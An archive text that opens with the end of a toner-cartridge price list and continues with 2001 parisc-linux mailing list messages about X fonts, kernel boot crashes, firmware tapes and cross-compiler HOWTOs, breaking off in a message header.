ITEM #13A LASERJET SERIES 5000 (29X)-------------------------$125
ITEM #13B LASERJET SERIES 1200-------------------------------$59
ITEM #13C LASERJET SERIES 4100-------------------------------$99
ITEM #18   LASERJET SERIES 3100------------------------------$39
ITEM #19 LASERJET SERIES 4500 BLACK--------------------------$79
ITEM #20 LASERJET SERIES 4500 COLORS ------------------------$125

HEWLETT PACKARD FAX (ON PAGE 2)

ITEM #14 LASERFAX 500, 700 (FX1)----------$49
ITEM #15  LASERFAX 5000,7000 (FX2)--------$64
ITEM #16  LASERFAX (FX3)------------------$59
ITEM #17  LASERFAX (FX4)------------------$54


LEXMARK/IBM (ON PAGE 3)

OPTRA 4019, 4029 HIGH YIELD---------------$89
OPTRA R, 4039, 4049 HIGH YIELD-----------$105
OPTRA E310.312 HIGH YIELD----------------$79

OPTRA E-----------------------------------$59
OPTRA N----------------------------------$115
OPTRA S----------------------------------$165
OPTRA T----------------------------------$195
OPTRA E310/312---------------------------$79
OPTAA E410/412---------------------------$89


EPSON (ON PAGE 4)

ACTION LASER 7000,7500,8000,9000----------$105
ACTION LASER 1000,1500--------------------$105


CANON PRINTERS (ON PAGE 5)

PLEASE CALL FOR MODELS AND UPDATED PRICES
FOR CANON PRINTER CARTRIDGES

PANASONIC (0N PAGE 7)

NEC SERIES 2 MODELS 90 AND 95----------$105

APPLE (0N PAGE 8)

LASER WRITER PRO 600 or 16/600------------------$49 
LASER WRITER SELECT 300,320,360-----------------$74
LASER WRITER 300 AND 320------------------------$54
LASER WRITER NT, 2NT----------------------------$54
LASER WRITER 12/640-----------------------------$79

CANON FAX (ON PAGE 9)

LASERCLASS 4000 (FX3)---------------------------$59
LASERCLASS 5000,6000,7000 (FX2)-----------------$54
LASERFAX 5000,7000 (FX2)------------------------$54
LASERFAX 8500,9000 (FX4)------------------------$54

CANON COPIERS (PAGE 10)

PC 3, 6RE, 7 AND 11 (A30)---------------------$69
PC 300,320,700,720,760,900,910,920(E-40)------$89


90 DAY UNLIMITED WARRANTY INCLUDED ON ALL PRODUCTS.

ALL TRADEMARKS AND BRAND NAMES LISTED ABOVE ARE PROPERTY OF THE 
RESPECTIVE HOLDERS AND USED FOR DESCRIPTIVE PURPOSES ONLY.










From - Thu Nov 08 21:21:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Miles, John" <John.Miles@uk.ngrid.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] xf86 & PEX fonts
Date: Mon, 31 Dec 2001 14:19:49 -0000
Lines: 18
Approved: news@gmane.org
Message-ID: <D3B55643A649D31188A30008C7BB744E0193A7B8@WOKHEX01>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620905 32676 80.91.229.3 (22 Nov 2014 01:48:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 31 07:58:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cohqmg02.uk.ngrid.com (unknown [194.128.150.248])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC589482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 31 Dec 2001 07:58:00 -0700 (MST)
Original-Received: from cohqim01.ngc.co.uk (unverified) by cohqmg02.uk.ngrid.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tc0a8bb0a5829cf85ec@cohqmg02.uk.ngrid.com> for <parisc-linux@lists.parisc-linux.org>;
 Mon, 31 Dec 2001 14:56:28 +0000
Original-Received: by COHQIM01 with Internet Mail Service (5.5.2654.89)
	id <ZX2J7V9Q>; Mon, 31 Dec 2001 14:56:57 -0000
X-Mailer: Internet Mail Service (5.5.2654.89)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13538

Hi,

Trying to install 9.3 on a c180 and :-

When starting X I get the message:

Couldn't open default PEX font file  Roman_M

How can I get rid of  this error OR can somebody give me a working
XF86Config file??

John Miles 



This e-mail and any files transmitted with it, are confidential to National Grid and are intended solely for the use of the individual or entity to whom they are addressed.  If you have received this e-mail in error, please contact the National Grid service support centre on 0800 - 777 770  (+44 1372 353300).



From - Thu Nov 08 21:21:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.16-pa24 crashes on c3k
Date: Mon, 31 Dec 2001 10:22:09 -0700
Lines: 149
Approved: news@gmane.org
Message-ID: <20011231172209.ABAD1482C@dsl2.external.hp.com>
References: <20011225090742.8E013482B@dsl2.external.hp.com>  <003601c191a4$2b55ec80$0101a8c0@pogo>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620906 32678 80.91.229.3 (22 Nov 2014 01:48:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Craig D. Lansing" <lansing@beldar.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 31 10:22:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id ABAD1482C; Mon, 31 Dec 2001 10:22:09 -0700 (MST)
In-Reply-To: Message from "Craig D. Lansing" <lansing@beldar.com> 
   of "Sun, 30 Dec 2001 21:38:01 EST." <003601c191a4$2b55ec80$0101a8c0@pogo> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13539

"Craig D. Lansing" wrote:
> Did you ever get this resolved? 

Well, for the systems I can test (A500/C3000), yes.
IIRC, Thomas Bogendoerf said he fixed it for B132 and C200.

> I saw Tom's reply that it could be related to /boot extending beyond 2GB,

In general yes. But given recent kernel changes around PCI/EISA HBA numbering
I'd say it's a kernel problem.

> J2240, I have tried 32-2.4.16-pa24 and pa29 and am getting stack dumps
> similar to yours.  I have tried the pre-compiled kernels and creating from
> source to no avail.  The general steps are:
> 
> 1. Download kernel or kernel source
> 2. Compile if from source
> 3. Copy vmlinux***, System.map.***, and Config.*** to /boot
> 4. Link vmlinux to vmlinux***
> 5. Edit /etc/palo.conf
> 6. run palo (no args)

You don't need to run palo again. It doesn't hurt either.
Just point /boot/vmlinux (or whatever palo.conf says) to the new kernel.

Just a few more nits interesting to other kernel developers.
I hope Ryan or Thomas can sort this out for you.

> Linux version 2.4.9-32 (root@paer) (gcc version 3.0.2 (Debian)) #1 Fri Nov
> 30 19:36:30 MST 2001
...
> model   9000/782/J2240
...
> Found devices:
> 1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf, 0xb
> 2. unknown device (13) at 0xfc000000 [8/0], versions 0x5d, 0x3, 0xa
> 3. SummitHawk Dino RS-232 (10) at 0xfc003000 [8/0/63], versions 0x5d, 0x0,
> 0x8c
> 4. Dino PCI Bridge (13) at 0xfc004000 [8/4], versions 0x680, 0x3, 0xa
> 5. SummitHawk 230 Core BA (11) at 0xffd00000 [8/12], versions 0x5c, 0x0,
> 0x81,
> additional addresses: 0xffc00000
> 6. SummitHawk 230 Core Centronics (10) at 0xffd02000 [8/12/0], versions
> 0x5c, 0x
> 0, 0x74,  additional addresses: 0xffd03000
> 7. SummitHawk 230 Core Audio (10) at 0xffd04000 [8/12/1], versions 0x5c,
> 0x4, 0x
> 7b
> 8. SummitHawk 230 Core SCSI (10) at 0xffd06000 [8/12/5], versions 0x5c, 0x0,
> 0x8
> 2
> 9. SummitHawk 230 Core PS/2 Port (10) at 0xffd08000 [8/12/7], versions 0x5c,
> 0x0
> , 0x84
> 10. SummitHawk 230 Core PS/2 Port (10) at 0xffd08100 [8/12/8], versions
> 0x5c, 0x
> 0, 0x84
> 11. U2-IOA BC GSC+ Port (7) at 0xfc03f000 [8/63], versions 0x501, 0x1, 0xc
> 12. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf, 0xb
> 13. Cujo PCI Bridge (13) at 0xf1604000 [10/4], versions 0x682, 0x1, 0xa,
> additi
> onal addresses: 0xf6000000
> 14. SummitHawk Dino RS-232 (10) at 0xf1607000 [10/4/63], versions 0x5d, 0x0,
> 0x8
> c
> 15. U2-IOA BC GSC+ Port (7) at 0xf163f000 [10/63], versions 0x501, 0x1, 0xc
> 16. SummitHawk U+ (0) at 0xfffa0000 [32], versions 0x5b5, 0x0, 0x4
> 17. SummitHawk U+ (0) at 0xfffa2000 [34], versions 0x5b5, 0x0, 0x4
> 18. SummitHawk Memory (1) at 0xfffb1000 [49], versions 0x83, 0x0, 0x9
> CONFIG_SMP=n  ignoring additional CPUs
> Warning : device (0, 0x5b5, 0x0, 0x4) NOT claimed by CPU
> CPU(s): 1 x PA8200 (PCX-U+) at 236.000000 MHz
> ccio found U2 at 0xfff88000
> io_io_low: 0xf8000000
> 19. unknown device (13) at 0xfc000000 [8/0], versions 0x5d, 0x3, 0xa
> 20. SummitHawk Dino RS-232 (10) at 0xfc003000 [8/0/63], versions 0x5d, 0x0,
> 0x8c
> 21. Dino PCI Bridge (13) at 0xfc004000 [8/4], versions 0x680, 0x3, 0xa

I think the devices showing up twice has been fixed in 2.4.16 kernels.

> 22. SummitHawk 230 Core BA (11) at 0xffd00000 [8/12], versions 0x5c, 0x0,
> 0x81,
>  additional addresses: 0xffc00000
> 23. SummitHawk 230 Core Centronics (10) at 0xffd02000 [8/12/0], versions
> 0x5c, 0
> x0, 0x74,  additional addresses: 0xffd03000
> 24. SummitHawk 230 Core Audio (10) at 0xffd04000 [8/12/1], versions 0x5c,
> 0x4, 0
> x7b
> 25. SummitHawk 230 Core SCSI (10) at 0xffd06000 [8/12/5], versions 0x5c,
> 0x0, 0x
> 82
> 26. SummitHawk 230 Core PS/2 Port (10) at 0xffd08000 [8/12/7], versions
> 0x5c, 0x
> 0, 0x84
> 27. SummitHawk 230 Core PS/2 Port (10) at 0xffd08100 [8/12/8], versions
> 0x5c, 0x
> 0, 0x84
> 28. U2-IOA BC GSC+ Port (7) at 0xfc03f000 [8/63], versions 0x501, 0x1, 0xc
> ccio found U2 at 0xfff8a000
> io_io_low: 0xf1600000
> 29. Cujo PCI Bridge (13) at 0xf1604000 [10/4], versions 0x682, 0x1, 0xa,
> additi
> onal addresses: 0xf6000000
> 30. SummitHawk Dino RS-232 (10) at 0xf1607000 [10/4/63], versions 0x5d, 0x0,
> 0x8
> c
> 31. U2-IOA BC GSC+ Port (7) at 0xf163f000 [10/63], versions 0x501, 0x1, 0xc
> Lasi version 0 at 0xffd00000 found.
> Cujo version unknown found at 0xfc000000

hmm...another nit. We should know the version by now.

> Dino version 3.1 found at 0xfc004000
> Cujo version 2.0 found at 0xf1604000
> Enabling Cujo 2.0 bug workaround
> POSIX conformance testing by UNIFIX
> Linux NET4.0 for Linux 2.4
> Based upon Swansea University Computer Society NET3.039
> Starting kswapd v1.8
> parport_init_chip: initialize bidirectional-mode.
> parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
> STI PCI ROM enabled at 0xf1ff0000
> PCI graphic ROM found at f1ff0000 (64 kB), fb @ f6000000 (32 MB)
> PCI region 0: f6000000 with 32768 kB
> PCI region 1: 00000000 with 0 kB
> PCI region 2: 00000000 with 0 kB
> PCI region 3: 00000000 with 0 kB
> PCI region 4: 00000000 with 0 kB
> PCI region 5: 00000000 with 0 kB
> PCI region 6: f1ff0000 with 64 kB
> PCI region 7: 00000000 with 0 kB
> PCI region 8: 00000000 with 0 kB
> PCI region 9: 00000000 with 0 kB
> PCI region 10: 00000000 with 0 kB
> PCI region 11: 00000000 with 0 kB
> Trying PCI STI ROM at f1ff0000, PCI hpa at f6000000
> I'm not trying to set up the PCI graphic card now... It would freeze your
> machin
> e
> Unable to handle STI device 'Hewlett-Packard Company A4977A Visualize EG'

This should work now too.
Or at least it's only know to NOT work with the C3000.

grant



From - Thu Nov 08 21:21:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tape boot errors and NFS-Root-Howto?
Date: Mon, 31 Dec 2001 10:35:57 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <20011231173557.C96664832@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0112300907380.11391-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620906 32681 80.91.229.3 (22 Nov 2014 01:48:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:26 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 31 10:35:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C96664832; Mon, 31 Dec 2001 10:35:57 -0700 (MST)
In-Reply-To: Message from Tom <palinux@alaskatech.org> 
   of "Sun, 30 Dec 2001 09:14:42 -0900." <Pine.LNX.4.33.0112300907380.11391-100000@goliath.alaskatech.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13540

Tom wrote:
> So I'm trying to update the firmware on my C180.
...
> Decide to pull up the NFS-Root-Howto at Grant's suggestion, just boot the
> patch file off the network. Unfortunately, p.e.h.c appears to be down :-(

Correct URL for the (old) NFS Root HOWTO is:
	http://lists.parisc-linux.org/hypermail/parisc-linux/0616.html

I'll update the FAQ shortly.

> Questions: Does anyone know if I'm doing the tape creation right?

Yes. I believe you are.

> I did
> 'unshar PF_CC2X0061' (to get the .frm and .text files), then 'dd
> if=CC2X0061.frm of=/dev/st1 bs=2k' (which writes 790 records without
> error).

> The unshar says the .frm is compressed data - is this something
> that needs further unpacking before writing, perhaps?

Don't trust unshar?
grundler <516>file c200/CC2X0062.frm
c200/CC2X0062.frm: lif file

I've placed several .frm files on ftp.parisc-linux.org/kernels/
Seems like you can use the one I've placed in c200 directory.

| Patch Description: HP 9000 Models C160/C180/C200/C240 revision 6.2 firmware

> Also, does anyone
> have a local copy of the NFS-Root-Howto that they can point me to? The
> only ones I can find are ~1999 and quite out of date...

Did I just hear you volunteer to rewrite mkp's posting? ;^)
I'll get it linked to the FAQ if you do...

thanks,
grant




From - Thu Nov 08 21:21:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Graphics support on 755?
Date: Mon, 31 Dec 2001 10:44:42 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20011231174442.1EE1C482F@dsl2.external.hp.com>
References: <20011229182132.A23862@daedalus.cs.brandeis.edu> <3C2F42C5.6040004@interaccess.com>  <20011230135256.B28207@daedalus.cs.brandeis.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620906 32683 80.91.229.3 (22 Nov 2014 01:48:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:26 +0000 (UTC)
Cc: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
To: Aaron Macks <aaronm@cs.brandeis.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 31 10:44:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1EE1C482F; Mon, 31 Dec 2001 10:44:42 -0700 (MST)
In-Reply-To: Message from Aaron Macks <aaronm@cs.brandeis.edu> 
   of "Sun, 30 Dec 2001 13:52:56 EST." <20011230135256.B28207@daedalus.cs.brandeis.edu> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13541

Aaron Macks wrote:
> it's an HP card, not in the EISA slots, but in the big slots on the
> backplane.  Is there anything like lspci, but for the HP slots?

not really.
You could look in /proc/bus/gsc:
setup.c:                if (NULL == proc_gsc_root)
setup.c:                        proc_gsc_root = proc_mkdir("bus/gsc", 0);

hmmm...here too:
pci-dma.c:    proc_gsc_root = proc_mkdir("gsc", 0);
pci-dma.c:    create_proc_info_entry("dino", 0, proc_gsc_root, pcxl_proc_info);

Someone could take lspci could and rewrite it to deal with PARISC
IODC data (HPPB, GSC, RUNWAY, etc).

grant



From - Thu Nov 08 21:21:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xf86 & PEX fonts
Date: Mon, 31 Dec 2001 10:54:49 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20011231175449.196F54833@dsl2.external.hp.com>
References: <D3B55643A649D31188A30008C7BB744E0193A7B8@WOKHEX01>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620907 32684 80.91.229.3 (22 Nov 2014 01:48:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Miles, John" <John.Miles@uk.ngrid.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 31 10:54:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 196F54833; Mon, 31 Dec 2001 10:54:49 -0700 (MST)
In-Reply-To: Message from "Miles, John" <John.Miles@uk.ngrid.com> 
   of "Mon, 31 Dec 2001 14:19:49 GMT." <D3B55643A649D31188A30008C7BB744E0193A7B8@WOKHEX01> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13542

"Miles, John" wrote:
> How can I get rid of  this error OR can somebody give me a working
> XF86Config file??

apt-get install xfonts-pex

XF86Config files are always a PITA because they contain too much detail
that can't be detected. I think most of the info is by now in the mail
archive if someone has time to consolidate it into a HOW-TO.
(eg define screen resolution as returned by "fbset -i").

grant



From - Thu Nov 08 21:21:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tape boot errors and NFS-Root-Howto?
Date: Mon, 31 Dec 2001 11:30:17 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20011231183017.98EAA483D@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0112300907380.11391-100000@goliath.alaskatech.org>  <20011231173557.C96664832@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620907 32687 80.91.229.3 (22 Nov 2014 01:48:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:27 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 31 11:30:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 98EAA483D; Mon, 31 Dec 2001 11:30:17 -0700 (MST)
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Mon, 31 Dec 2001 10:35:57 MST." <20011231173557.C96664832@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13543

Grant Grundler wrote:
> Correct URL for the (old) NFS Root HOWTO is:
> 	http://lists.parisc-linux.org/hypermail/parisc-linux/0616.html
> 
> I'll update the FAQ shortly.

Done.
I've also added a link to the "official" linux NFSROOT howto:
	http://www.ibiblio.org/pub/Linux/docs/HOWTO/mini/NFS-Root

grant



From - Thu Nov 08 21:21:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HOWTO - PARISC Linux XC (v1.0 Dec 31 2001)
Date: Mon, 31 Dec 2001 16:42:31 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20011231164231.C4130@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620907 32691 80.91.229.3 (22 Nov 2014 01:48:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:27 +0000 (UTC)
Cc: marteaut@esiee.fr, grundler@puffin.external.hp.com
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 31 14:41:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sh.od.inet (CPE0080C82B2487.cpe.net.cable.rogers.com [24.112.142.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2754F482A
	for <parisc-linux@parisc-linux.org>; Mon, 31 Dec 2001 14:41:48 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id fBVLgVg04784;
	Mon, 31 Dec 2001 16:42:31 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org, marteaut@esiee.fr,
	grundler@puffin.external.hp.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13544

Parisc'ers,

Cross-Compiler HOWTO at:

http://www.baldric.uwo.ca/HOWTO/PARISC-Linux-XC-HOWTO.html

Please feel free to steal/link/modify![1]

Matthew mentioned that I should probably send this to the
GCC guys? (Does anyone have the interested contacts?)

c.

[1] http://www.baldric.uwo.ca/PARISC-Linux-XC-HOWTO.tar.gz



From - Thu Nov 08 21:21:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Palo and initial ramdisks
Date: Mon, 31 Dec 2001 15:46:54 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <E16LBCo-0006v3-00@noam.fc.hp.com>
References: <200112301545.fBUFjrE01927@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620908 32693 80.91.229.3 (22 Nov 2014 01:48:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
